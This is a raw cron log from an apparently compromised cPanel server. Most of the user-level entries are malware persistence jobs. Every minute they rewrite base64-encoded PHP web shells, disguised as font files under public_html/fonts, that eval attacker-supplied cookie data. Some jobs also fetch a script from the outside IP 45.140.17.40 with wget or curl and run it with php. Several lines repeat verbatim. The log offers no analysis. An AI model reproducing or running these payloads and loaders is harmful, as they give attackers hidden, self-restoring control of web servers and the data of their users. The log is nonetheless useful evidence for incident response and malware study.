Sep 20 17:46:01 ip-184-168-122-23 CROND[21010]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 17:46:01 ip-184-168-122-23 CROND[21012]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 20 17:46:01 ip-184-168-122-23 CROND[21011]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 17:47:01 ip-184-168-122-23 CROND[21253]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 17:47:01 ip-184-168-122-23 CROND[21254]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 17:47:01 ip-184-168-122-23 CROND[21256]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 17:47:01 ip-184-168-122-23 CROND[21255]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 17:48:01 ip-184-168-122-23 CROND[21583]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 17:48:01 ip-184-168-122-23 CROND[21585]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 17:48:01 ip-184-168-122-23 CROND[21584]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 17:48:01 ip-184-168-122-23 CROND[21587]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 20 17:48:01 ip-184-168-122-23 CROND[21591]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 17:49:01 ip-184-168-122-23 CROND[21828]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 17:49:01 ip-184-168-122-23 CROND[21829]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 17:49:01 ip-184-168-122-23 CROND[21830]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 17:49:01 ip-184-168-122-23 CROND[21831]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 17:50:01 ip-184-168-122-23 CROND[22076]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 20 17:50:01 ip-184-168-122-23 CROND[22081]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 20 17:50:01 ip-184-168-122-23 CROND[22082]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 17:50:01 ip-184-168-122-23 CROND[22085]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 20 17:50:01 ip-184-168-122-23 CROND[22086]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 20 17:50:01 ip-184-168-122-23 CROND[22087]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 17:50:01 ip-184-168-122-23 CROND[22088]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 17:50:01 ip-184-168-122-23 CROND[22091]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 20 17:50:01 ip-184-168-122-23 CROND[22085]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 20 17:50:01 ip-184-168-122-23 CROND[22086]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 20 17:50:01 ip-184-168-122-23 CROND[22087]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 17:50:01 ip-184-168-122-23 CROND[22088]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 17:50:01 ip-184-168-122-23 CROND[22091]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 20 17:50:01 ip-184-168-122-23 CROND[22088]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 17:50:01 ip-184-168-122-23 CROND[22091]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 20 17:50:01 ip-184-168-122-23 CROND[22089]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 17:51:01 ip-184-168-122-23 CROND[22355]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 17:51:01 ip-184-168-122-23 CROND[22357]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 17:51:01 ip-184-168-122-23 CROND[22356]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 17:51:01 ip-184-168-122-23 CROND[22358]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 17:52:01 ip-184-168-122-23 CROND[22569]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 20 17:52:01 ip-184-168-122-23 CROND[22571]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 17:52:01 ip-184-168-122-23 CROND[22570]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 17:52:01 ip-184-168-122-23 CROND[22573]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 17:52:01 ip-184-168-122-23 CROND[22575]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 17:53:01 ip-184-168-122-23 CROND[22913]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 17:53:01 ip-184-168-122-23 CROND[22914]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 17:53:01 ip-184-168-122-23 CROND[22915]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 17:53:01 ip-184-168-122-23 CROND[22912]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 17:54:01 ip-184-168-122-23 CROND[23159]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 17:54:01 ip-184-168-122-23 CROND[23160]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 20 17:54:01 ip-184-168-122-23 CROND[23163]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 17:54:01 ip-184-168-122-23 CROND[23164]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 17:54:01 ip-184-168-122-23 CROND[23167]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 17:55:01 ip-184-168-122-23 CROND[23436]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 17:55:01 ip-184-168-122-23 CROND[23437]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 17:55:01 ip-184-168-122-23 CROND[23440]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 20 17:55:01 ip-184-168-122-23 CROND[23442]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 17:55:01 ip-184-168-122-23 CROND[23439]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 20 17:55:01 ip-184-168-122-23 CROND[23445]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 17:56:01 ip-184-168-122-23 CROND[23674]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 20 17:56:01 ip-184-168-122-23 CROND[23675]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 17:56:01 ip-184-168-122-23 CROND[23676]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 17:56:01 ip-184-168-122-23 CROND[23677]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 17:56:01 ip-184-168-122-23 CROND[23678]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 17:57:01 ip-184-168-122-23 CROND[23927]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 17:57:01 ip-184-168-122-23 CROND[23928]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 17:57:01 ip-184-168-122-23 CROND[23930]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 17:57:01 ip-184-168-122-23 CROND[23936]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
